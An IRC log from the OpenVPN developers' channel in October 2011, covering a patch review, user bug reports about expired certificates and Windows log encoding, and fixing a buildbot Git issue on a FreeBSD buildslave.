for the nack 14:29 <@andj> from just now 14:29 <@jamesyonan> common.h 14:29 <@cron2> yep 14:30 <@jamesyonan> you can probably leverage on counter_format 14:30 <@andj> yeah, I was think the same thing 14:32 <@andj> patch incoming, give me 2 minutes compile time 14:33 <@mattock_> almost there :) 14:36 <@andj> anyway, there will be some smaller patches in the next few weeks, to move to PolarSSL 1.0, and perhaps a few Windows build fixes 14:37 <@cron2> sounds good 14:37 <@mattock_> andj: for python build system? 14:37 <@andj> yeah, 14:37 <@andj> but that'll be in a few weeks 14:39 <@mattock_> ok 14:40 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/88d639630cd319882be05a29bcc5ac49cb79d1bc 14:40 <@vpnHelper> Title: Commit 88d639630cd319882be05a29bcc5ac49cb79d1bc to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:40 <@andj> ok, moved to counter_type and counter_format 14:41 <@cron2> that should be "(counter_type) 8* ...", not (long long int) 14:42 <@andj> oops, mistake in my commit, sec 14:47 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/82e745b6e4c81b5fa5f0d0793383a292696d2991 14:47 <@vpnHelper> Title: Commit 82e745b6e4c81b5fa5f0d0793383a292696d2991 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:47 <@andj> fixed it, accidently pushed the wrong local commit 14:48 <@cron2> well, formal ack, but looking at the code that prints numbers well in the 16-bit range, I really wonder why people think that "size_t" is a good idea here 14:48 <@cron2> with all the extra complication that brings 14:49 <@cron2> but that's just the ramblings of an old man... 14:49 <@andj> point taken 14:49 <@andj> anyway, that should be ok now 14:49 <@cron2> yep, the code is fine 14:49 * andj is very happy 14:50 <@andj> what's next for the meeting? SviMik's bug reports? 14:50 <@jamesyonan> yeah, size_t sort of came into fashion with the rise of 64-bit architectures 14:51 <@cron2> for this meeting, I'm done :) - need to break a few customer networks now 14:51 <@andj> ok, have fun :) 14:52 <@andj> we could call it a day then? 14:52 <@cron2> my next agenda items are "get mattock to make the freebsd 8.2 buildslave work" :) 14:52 <@mattock_> summary will follow tomorrow 14:52 <@andj> Thanks everyone 14:52 <@mattock_> andj: thanks for managing things! 14:53 * SviMik is here, if somebody is going to look at my bug reports 14:53 <@andj> mattock: np 14:54 <@andj> svimik, which ones? 14:55 < SviMik> first is https://community.openvpn.net/openvpn/ticket/167 14:55 <@vpnHelper> Title: #167 (UNDEF user with big uptime) – OpenVPN Community (at community.openvpn.net) 14:55 < SviMik> the log with many errors is here: http://svimik.com/ovpnundef.txt 14:57 <@andj> svimik: I'll take a peek at the log file, see if I can find anything 14:59 < SviMik> the second bug is log encoding... I wonder if anybody tested openvpn with non-english Windows? 14:59 <@andj> looks like there's a rejected initial packet: PF: /etc/openvpn/tmp/openvpn_pf_3c0125880e28cd24b297f70c42a6940c.tmp rejected due to 1 error(s) 15:01 < SviMik> andj that's normal I think. when pf file is ignored, openvpn just using some default settings 15:01 < SviMik> so it's not related with this bug 15:01 <@mattock_> SviMik: I have not, it's all english 15:02 <@mattock_> can you change windows language without buying a separate version? 15:03 < SviMik> don't understand last question. why I need change it? 15:03 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:04 < SviMik> andj that user's certificate has expired, so I don't know even how he got connected and why the connection was not rejected 15:05 <@andj> I'm a little surprised about all of the replay errors too 15:05 <@mattock_> I mean can _I_ change the language if I want? ;) 15:06 <@andj> then at midnight his session expires 15:06 <@andj> and he can't connect anymore 15:07 < SviMik> mattock_ you can. but you have to install MUI: http://en.wikipedia.org/wiki/Multilingual_User_Interface 15:07 <@vpnHelper> Title: Multilingual User Interface - Wikipedia, the free encyclopedia (at en.wikipedia.org) 15:10 < SviMik> for XP there was also MUI, which translates most user interface (but not all, so the result may be slightly different comparing with originally non-english XP). 15:10 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 15:10 < SviMik> in my case, I found 2 bugs in XP (didn't tested in 7 yet) 15:12 <@andj> svimik: I think the following happened 15:12 <@andj> certificate expired at some point, and the control channel still existed 15:12 <@andj> but a new control channel can't be set up 15:13 <@andj> the session then still exists but can't be used anymore 15:14 < SviMik> so the user should be kicked in that case 15:15 < SviMik> because session is not usable anyway :) 15:15 <@andj> yeah, and the error should be a little clearer as well 15:16 <@andj> failed TLS connections could be handled more cleanly 15:17 < SviMik> actually in my previous tests connection was working well even after certificate expiration (upon first reconnect) 15:17 <@mattock> SviMik: I'll check out MUI, it makes sense to do some basic tests with non-English languages 15:18 < SviMik> andj so, the expired certificate may be only a part of condition to reproduce this bug 15:19 <@andj> hmm, it's something that needs looking at, but I'm afraid I haven't got time right now (getting late here) 15:20 < SviMik> about encoding: 15:20 < SviMik> 1. if adapter's name contains non-english characters, the encoding in CLI is wrong. in GUI it appears correctly though. I suppose the windows CLI and openvpn GUI are using different encoding to display text 15:20 < SviMik> 2. but "route add" errors vice versa are not readable in openvpn GUI 15:21 <@andj> see you all soon 15:21 < SviMik> ok 15:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:29 < SviMik> mattock I can also make tests if somebody writes a patch for it 15:30 < SviMik> I see there is encoding mess both in openvpn and its GUI 15:30 < SviMik> because nobody tested it :) 15:38 < SviMik> mattock I can set up a virtual machine with windows for you if you need, with remote desktop access 17:54 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Ping timeout: 244 seconds] 17:56 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 17:56 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 18:37 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Ping timeout: 245 seconds] 20:04 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 21:40 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 21:41 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 21:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 21:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:57 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 22:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:06 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:16 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has quit [Quit: Leaving.] --- Day changed Fri Oct 07 2011 01:40 -!- dazo_afk is now known as dazo 01:49 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 01:49 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:04 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:53 <@cron2> mattock: openvpn.git->master compiles just fine for me, no problems in options.c 02:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 02:59 <@cron2> meh 04:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:17 <@mattock> updated ticket #167 with andj's analysis from the meeting 06:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:42 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 10:03 <@mattock> cron2: does the VPN using cron-fbsd82 work? 10:04 <@mattock> it seems that builds fail at compile if using --disable-crypto or --disable-ssl 10:17 -!- dazo is now known as dazo_afk 10:31 -!- dazo_afk is now known as dazo 10:51 <+ecrist> ping mattock 10:52 <+ecrist> did you move the VPN server again or something? I haven't been able to connect for a week or two 11:29 -!- dazo is now known as dazo_afk 12:20 <@mattock> ecrist: no 12:23 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Ping timeout: 248 seconds] 12:24 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 14:59 <@cron2> re 15:01 <@cron2> mattock: VPN with cron2-fbsd82 works \o/ 15:04 <@cron2> mattock: which version of git do you use on the other slaves? 16:19 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Quit: Leaving.] 16:21 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has joined #openvpn-devel 16:47 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 17:35 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has quit [Ping timeout: 255 seconds] 19:54 -!- raidz is now known as raidz_afk 19:55 -!- raidz_afk is now known as raidz 20:10 -!- raidz is now known as raidz_afk 20:11 -!- raidz_afk is now known as raidz 20:12 -!- raidz is now known as raidz_afk 20:12 -!- raidz_afk is now known as raidz 20:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 20:31 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 20:31 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Sat Oct 08 2011 03:03 -!- raidz is now known as raidz_afk 05:33 <@cron2> mattock: buildbot-fix-compile-issue patch sent to list 11:57 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:57 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Client Quit] 12:00 -!- raidz_afk is now known as raidz 13:16 <+krzee> is there a centos repo that has up to date openvpn? 13:18 <+krzee> all im seeing is 2.1.4 14:26 <@mattock> cron2: nice! 14:51 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:51 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:51 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 17:59 -!- novaflash is now known as novaflash_away 18:00 -!- novaflash_away is now known as novaflash 18:06 -!- novaflash is now known as novaflash_away 21:38 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 21:39 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 21:39 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:00 <+krzie> oh i found the answer to my earlier question, epel has it for centos6 and rpmforge has 2.2.0 for centos5 =] 23:03 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] --- Day changed Sun Oct 09 2011 03:36 <@vpnHelper> RSS Update - tickets: #168: Cipher block modes other than CBC fail with error "Assertion failed at crypto.c:161" <https://community.openvpn.net/openvpn/ticket/168> 04:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 04:34 -!- novaflash_away is now known as novaflash 05:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:36 <@vpnHelper> RSS Update - testtrac: Move block for "stale-routes-check" config inside #ifdef P2MP_SERVER block <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=32ab329bc69c6292c205d4f33a4b8069341798d3> 07:02 <@cron2> dazo: thanks. Now let's see what buildbot has to say... 07:08 <@cron2> looks good, ubuntu 10.04, debian 6 and fedora 15 can build --disable-crypto and --disable-ssl :-) 09:20 <+krzee> then we have a unefficient gre tunnel! 09:23 <@cron2> krzee: well, indeed. But as long as we *have* the options, we should be sure that the combinations actually compile... 09:23 <+krzee> totally 09:25 <+krzee> totally 11:06 -!- novaflash is now known as novaflash_away 11:22 <@mattock> cron2, dazo: are you saying that buildbot actually builds stuff 11:22 <@mattock> without manually flipping a switch? :D 11:36 -!- novaflash_away is now known as novaflash 11:59 <@cron2> mattock: nah, I manually triggered a rebuild 12:00 <@cron2> mattock: now that I fixed *this* problem, it's your turn to fix the git issue :-) 13:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 16:19 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Excess Flood] 16:38 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:38 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 16:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:57 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:06 -!- novaflash is now known as novaflash_away 19:23 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 256 seconds] 20:54 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:54 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:05 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 258 seconds] 21:22 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:22 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Mon Oct 10 2011 01:16 -!- raidz is now known as raidz_afk 01:17 -!- novaflash_away is now known as novaflash 02:23 <@cron2> moin 02:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:39 <@mattock> cron2: I'm looking into the Git issue now 02:39 <@cron2> cool 02:40 <@cron2> right now I have no time to do anything, though (work...) 02:44 <@mattock> ok, so fedora 15 is using Git 1.7.6.4 02:45 <@mattock> debian 6 is using 1.7.2.5 02:49 <@mattock> I'll test the Git commands on forums, it's got the same OS 03:02 <@mattock> cron2: reproducing all the steps on FreeBSD 8.1 does not give the "fatal: Cannot force update the current branch." error 03:10 <@mattock> added the steps here: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave#Sourcecheckout 03:10 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 03:10 <@mattock> (for convenience) 03:11 <@mattock> you could perhaps try to delete the builder's directory manually and trigger another build 03:11 <@mattock> although if that was the issue, "git init" should probably complain, too 03:12 <@mattock> yeah, that's not the issue 03:13 <@mattock> cron2: this is the issue: http://trac.buildbot.net/ticket/2127 03:13 <@vpnHelper> Title: #2127 (Git 1.7.7: Recent change causes buildbot to always fail to fetch from git) – Buildbot (at trac.buildbot.net) 03:13 <@mattock> if you can, downgrade to git 1.7.6 03:14 <@mattock> I'd prefer that approach, as upgrading the buildmaster might get messy, unless the fix is easy to merge 03:58 <@cron2> mattock: so you don't define the git commands, but it's coming "from somewhere internal in buildbot"? 04:00 <@cron2> mattock: well, downgrading would mean "installing and maintaining git by hand for all future buildslaves", and I'd rather not do that 04:28 <@mattock> cron2: yes, it's the default (internal) Git command for buildbot 04:31 <@mattock> I'll see if there's a workaround for this... I smell all sorts of problems if I have to upgrade the buildmaster 04:35 <@mattock> I think I'll try to backport the fix from current HEAD at buildbot, or if that fails, we probably could patch Git 04:35 <@mattock> (might be this problem: http://comments.gmane.org/gmane.comp.version-control.git/181561) 04:36 <@vpnHelper> Title: General and development mailing list for Git, a distributed version control system (at comments.gmane.org) 04:46 <@mattock> the buildbot patch does not apply cleanly, I'll backport it manually, should be trivial 04:56 <@mattock> testing out the fix... 04:56 <@cron2> cool :-) (I spent all morning with meetings...) 04:56 <@mattock> meeting are an excellent way to spend time doing nothing :D 04:57 <@mattock> ok, let's see if it builds... 04:58 <@mattock> argh, still complaining 05:03 <@cron2> same command, same error? 05:22 <@mattock> yep, I'm looking into buildbot code to figure out why the backported patch won't work 05:22 <@mattock> -> lunch 05:22 <@cron2> enjoy 06:29 <@mattock> oki, buildbot was just using a different .py file, so fix probably works 07:00 <@mattock> oh, too obvious again... cron2: you'd need to apply a minor patch to your slaves 07:00 <@mattock> or, maybe upgrading them to latest "master" from buildbot would wor 07:00 <@mattock> k 07:00 <@cron2> mattock: just tell me waht to do 07:00 <@mattock> ok, just a sec, I'll provide you with a patch 07:07 <@mattock> cron2: mailed you a patch 07:08 <@mattock> if it does not help, you could try changing 07:08 <@mattock> command = ['branch', '-M', self.branch] 07:08 <@mattock> to 07:08 <@mattock> command = ['branch', '-M', '-f', self.branch] 07:15 <@cron2> moment 07:15 <@mattock> ok 07:15 <@mattock> also, you probably have to run "python setup.py install" from the buildbot-<version> directory 07:16 <@mattock> =the working directory of buildbot 07:16 <@mattock> after applying the patch 07:18 <@cron2> I'm patching in the installed directory, no idea where the source is - it came from "easy_install" 07:18 <@cron2> meh, it's not recompiling 07:19 <@cron2> anyway 07:19 <@cron2> could you send me some work? 07:20 <@mattock> ah 07:21 <@mattock> I'll trigger a build 07:21 <@mattock> did you restart buildbot already? 07:21 <@cron2> yeah 07:21 <@cron2> still fails in git branch -M 07:21 <@mattock> yep 07:22 <@mattock> could you try adding the '-f' switch to see if it's using the patched version? 07:22 <@cron2> done 07:23 <@mattock> ah, now it fails differently... progress 07:23 <@cron2> it uses the changed code, but still fails 07:23 <@mattock> what if you remove both "-f" and "-M"? 07:24 <@cron2> done 07:25 <@cron2> it shouldn't do "git branch ..." anything anyway if it wants master 07:25 <@mattock> ok, another error message 07:25 <@mattock> we could disable that then 07:25 <@cron2> as I said, after fetch it's in master anyway... 07:26 <@mattock> yes, true 07:26 <@cron2> it might be needed if we start buildbotting other branches 07:26 <@cron2> for now, I'm putting the "-M" code back in 07:31 <@mattock> cron2: can I have (non-root) access to the box? 07:31 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 240 seconds] 07:32 <@mattock> forums is using older version of FreeBSD, so I can't replicate this there 07:32 <@mattock> or where did easy_install install the buildbot files? 07:32 <@cron2> mattock: it's less "FreeBSD itself" but "how recent the port is" (ports being de-coupled from the OS install). 07:32 <@cron2> easy_install installed to /usr/local/ 07:32 <@mattock> ok 07:33 <@cron2> anyway, can you send me a ssh key? 07:33 <@mattock> yep 07:33 <@cron2> do you want to use the "buildbot" account, or your own? 07:34 <@cron2> (umm, and I need to change firewall rules to permit ssh-in via VPN, as nothing else is permitted to do anything) 07:34 <@mattock> buildbot account is fine 07:35 <@mattock> sent the key 07:36 <@cron2> please try buldbot@10.7.36.58 07:37 <@mattock> ok 07:38 <@mattock> works 07:38 <@cron2> cool :) 07:38 <@mattock> are the other of your buildslaves using Git 1.7.7+? 07:39 <@cron2> so far, only one buildslave is fully installed - the others (openbsd and netbsd) are waiting for the first one to be fully operational, so I know what pitfalls to avoid 07:43 <@mattock> how do I switch to root/edit the .py files? 07:44 <@mattock> I think I'll try disabling the entire "git branch" command initially and see if it works then 07:44 <@cron2> mom 07:45 <@cron2> the buildbot stuff lives in 07:45 <@cron2> /usr/local/lib/python2.7/site-packages/buildbot-0.7.12-py2.7.egg 07:45 <@cron2> and I'll chown that whole branch to "buildbot" 07:45 <@cron2> so you don't need root 07:46 <@mattock> ok 07:52 <@mattock> yep, passed the Git step just fine 07:53 <@mattock> now it needs a t_client.rc file in the buildbot home directory (build-openvpn) 07:53 <@mattock> "LZO headers were not found" 07:57 <@cron2> that's my classic problem with our configure on freebsd 07:57 <@cron2> it needs --with-lzo-headers=/usr/local/include --with-lzo-lib=/usr/local/lib 07:58 <@cron2> the t_client.rc needs to be put there by hand? 07:58 <@mattock> yeah, atm 07:58 <@cron2> I'll just drop an empty file there "for the moment" 07:59 <@cron2> done 08:00 <@mattock> re: --with-lzo-headers... currently buildmaster (=master.cfg) assumes that ./configure will "just work" 08:00 <@mattock> I can change the *BSDs use ./configure <whatever>, if that's least painful for all of us 08:01 <@mattock> also, I'm thinking that I'll add a check before calling the didHeadCheckout (or whatever) and see if self.branch == "master" 08:01 <@cron2> I still think our configure should be smart enough to figure that out by its own... 08:01 <@mattock> well, that's even better 08:01 <@mattock> :) 08:01 <@cron2> but anyway, for now, I'll just sprinkle symlinks 08:01 <@mattock> ... and skipping the git branch -M master part if it is 08:02 <@mattock> I like that term, "sprinkle"... makes it sound so magical :P 08:02 <@cron2> try again, please 08:04 <@mattock> a moment, breaking commands.py again 08:04 <@cron2> ok, configure-with-no-args works now 08:06 <@mattock> running 08:06 <@mattock> hmm, I think my fix works 08:06 <@cron2> cool 08:07 <@cron2> configure worked, now running make 08:07 <@mattock> also, if I understood the code correctly, it should not produce nasty side-effects 08:07 <@mattock> not 100% sure, though 08:08 <@cron2> did it build? 08:08 <@cron2> from the logs, it looks like it (and I can't check the web page, being at work, no VPN, etc) 08:08 <@mattock> it did compile, but with some warnings 08:08 <@mattock> oute.c:2584: warning: 'return' with a value, in function returning void 08:08 <@mattock> route.c:2608: warning: 'return' with a value, in function returning void 08:09 <@mattock> I'll create a dummy t_client.rc 08:09 <@mattock> until we get the test server up again 08:09 <@cron2> yeah, that's the FreeBSD-needs-to-be-fixed bit where James refactored route.c and didn't adjust all the other platforms 08:10 <@mattock> I'll trigger another build to see if t_client.rc error went away 08:11 <@mattock> ah, hardcoded stuff in master.cfg, need to fix... 08:15 <@mattock> ok, fixed 08:16 <@mattock> I wonder if the ""--disable-depr-random-resolv" should be removed,too 08:20 <@cron2> meeting topic :) 08:22 <@mattock> sounds like it 08:23 <@cron2> so the compile succeeded? 08:29 <@mattock> yes 08:29 <@cron2> cool 08:29 <@mattock> http://http://10.7.36.101:8010/builders/builder-cron2-freebsd-82-amd64-stable-master/builds/27 08:29 <@mattock> oops 08:29 <@mattock> http://10.7.36.101:8010/builders/builder-cron2-freebsd-82-amd64-stable-master/builds/27 08:29 <@cron2> can't check right now (at work, no vpn setup) 08:29 <@mattock> np 08:29 <@cron2> so tonight it will do a full build of all variants? 08:30 <@mattock> I can trigger an all-out build, yes 08:30 <@mattock> it does not do periodic builds if that's what you mean 08:30 <@mattock> only forced and triggered (by a commit) 08:31 <@cron2> so commit-triggered works? You said something yesterday that I took as "it doesn't" 08:31 <@mattock> it does work, I was just joking :P 08:32 <@mattock> forced a build on all builders 08:32 <@cron2> cool. will it build "immediately" (after commit) or "some time in the next night"? (I ask because the web site always print some "next build in 23h..." stuff) 08:33 <@mattock> in 1-5 minutes, depending on how fast buildbot gets the commit email 08:33 <@cron2> nice. Now we just need to sort out the "send mail to the developers after the buildbot run" part 08:33 <@mattock> I'll check out the "next build" stuff, shouldn't be there 08:33 <@cron2> so we can see right away if a commit breaks some platforms 08:33 <@cron2> (or variants) 08:33 <@mattock> we got the openvpn-builds list... buildbot can be a bit spammy 08:34 <@cron2> can you put me on the list, please? 08:34 <@mattock> you can do it yourself from the SF.net mailing list interface 08:34 <@mattock> lemme find a link 08:35 <@mattock> http://sourceforge.net/mail/?group_id=48978 08:35 <@vpnHelper> Title: SourceForge.net: Mailing Lists for OpenVPN (at sourceforge.net) 08:35 <@mattock> actually, it's not public probably 08:35 <@mattock> just a sec 08:35 <@cron2> it shows -announce, -devel and -users 08:36 <@mattock> yes, it's marked as "private" 08:36 <@mattock> I think we can make it "public" 08:37 <@mattock> provided nobody else but dazo can send there 08:37 <@cron2> ack 08:37 <@cron2> why would dazo send anything? 08:44 <@mattock> actually, it's SF.net git-send-email hook that does the sending 08:45 <@mattock> so, having the list public should be ok, provided that nobody (except the Git hook) can send mail there 08:46 <@cron2> this sounds more like waht I'd expect :-) 08:51 <@mattock> so, postfix on build comp only allows emails from SF.net's list email servers 08:52 <@mattock> so, even if someone manages to fake the sender and sends it directly to the build comp, it should get rejected 08:52 <@mattock> and posting to -builds list will fail automatically 08:55 <@mattock> ok, -builds is now public 08:55 <@mattock> buildbot does not yet send stuff there, though 08:55 <@mattock> that's easily changed 08:56 <@mattock> I'd skip everything but build warnings and failure (e.g. we probably don't want "Buildslave <something> lost" mails 08:56 <@cron2> I'd like to see "all is well!" and "compilation errors" mails 08:57 <@mattock> I'll take a good look tomorrow and see what options we have 08:57 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:57 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:58 <@cron2> hee, dazo is back :) 08:58 <@dazo> yeah, somehow I got kicked out from here during the weekend .... 08:59 <@cron2> so you missed all the fun yesterday - a fully successful buildbot run \o/ 08:59 <@dazo> cool!!! 09:00 <@mattock> hi dazo! 09:00 <@dazo> so we now have buildbot for FreeBSD as well? 09:00 <@dazo> hey mattock :) 09:00 <@mattock> omg, all green here: http://10.7.36.101:8010/one_box_per_builder 09:00 <@mattock> meaning - no builds have failed 09:00 * dazo logs into community vpn 09:00 <@cron2> dazo: yes, FreeBSD 8.2 buildbot works since about 2 hours 09:01 <@dazo> lovely! 09:01 <@mattock> also, openvpn-builds list is now public 09:01 <@dazo> great! 09:01 <@mattock> tomorrow I'll see what mails buildbot could send there 09:01 <@mattock> without spamming us excessively 09:01 <@dazo> spamming is fine, as long as there is a valid reason for it :-p 09:02 <@dazo> uhm .... 09:02 <@dazo> Mon Oct 10 16:02:18 2011 UDPv4 link remote: [AF_INET]208.43.3.116:1194 09:02 <@dazo> Mon Oct 10 16:02:18 2011 read UDPv4 [ECONNREFUSED]: Connection refused (code=111) 09:02 <@cron2> yeah. If it's reasonable, and people make sure that their bots are somewhat well-maintained 09:03 <@dazo> ack 09:03 <@dazo> mattock: has the community VPN stuff changed? 09:28 <+ecrist> dazo: you need to connect to ldap.openvpn.org now, not community.openvpn.net 09:28 <@dazo> ahh, okay 09:28 <+ecrist> I ran into the same issue last firday 09:29 <@cron2> heh :) 11:10 -!- raidz_afk is now known as raidz 13:54 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 15:24 -!- dazo is now known as dazo_afk 15:26 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 15:26 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:36 <@cron2> mattock: can you please mail me the config data + pw for builder-cron2-openbsd-49-i386? 15:37 <@mattock> cron2: you can use the same config as for fbsd82 15:38 -!- novaflash is now known as nothereno 15:39 -!- nothereno is now known as novaflash 15:39 <@cron2> mattock: same password? 15:39 <@cron2> ah 15:40 <@cron2> understood 15:40 <@cron2> :) 15:40 <@mattock> ;) 15:40 <@cron2> will give it a go tomorrow - machine is up and running, but openvpn has not yet been tested, and neither has git / manual test build 15:40 <@mattock> you probably want to change the buildslave description (in hostinfo I think) 15:40 <@cron2> yep, definitely 15:40 <@mattock> ok, sounds good 15:40 <@mattock> will be here 18:22 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 18:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:27 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 19:09 -!- raidz is now known as raidz_afk 19:51 -!- raidz_afk is now known as raidz 19:51 -!- raidz is now known as raidz_afk 19:52 -!- raidz_afk is now known as raidz --- Day changed Tue Oct 11 2011 00:13 -!- Netsplit *.net <-> *.split quits: dguerri 00:14 -!- Netsplit over, joins: dguerri 02:07 -!- dazo_afk is now known as dazo 02:17 <@dazo> cron2: will you also provide a NetBSD buildslave too? ... just curious and wondering 02:17 <@cron2> yes. next on the list :) 02:17 <@dazo> awesome! 02:18 <@dazo> thanks a lot, cron2! 03:58 -!- aduitsis [~aduitsis@pc-aduitsis2.noc.ntua.gr] has joined #openvpn-devel 04:00 < aduitsis> Hi all, any idea when 2.3.0 is expected to be released? 04:28 <@dazo> aduitsis: nothing is decided ... but we're trying to get the pieces together for a beta release, hopefully before end of this year 04:28 < aduitsis> dazo: right, I was under the impression that it was slated for Aug 04:28 < aduitsis> but I was just checking 04:29 <@dazo> aduitsis: that was the goal earlier on ... but we're many here being busy ... and the PolarSSL inclusion has taken a bit longer than we expected ... and I'm the bottleneck nowadays, as I'm going to merge in those changes 04:29 < aduitsis> yes, I've seen the PolarSSL related activity 04:30 < aduitsis> here at the univ our openvpn service uses tun mode 04:30 < aduitsis> so we'd like to enable IPv6 04:30 <@cron2> aduitsis: basically we need lots of testing and feedback on the -master branch... 04:30 <@dazo> ah, nice! 04:30 <@dazo> yeah, please try out the -master ... that will help us make the beta rounds run smoother 04:31 <+krzee> !snapshots 04:31 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 04:31 <@cron2> aduitsis: you could use 2.2 + ipv6 patch - or run -master 04:31 < aduitsis> did try -master before summer 04:31 < aduitsis> results good 04:31 < aduitsis> will probably do so again 04:33 <@dazo> perfect! There's just come in a few more features and some minor bugfixes ... and some more build fixes 04:33 <@dazo> (mostly *BSD) 04:33 < aduitsis> hm, that's good, our server is on FreeBSD 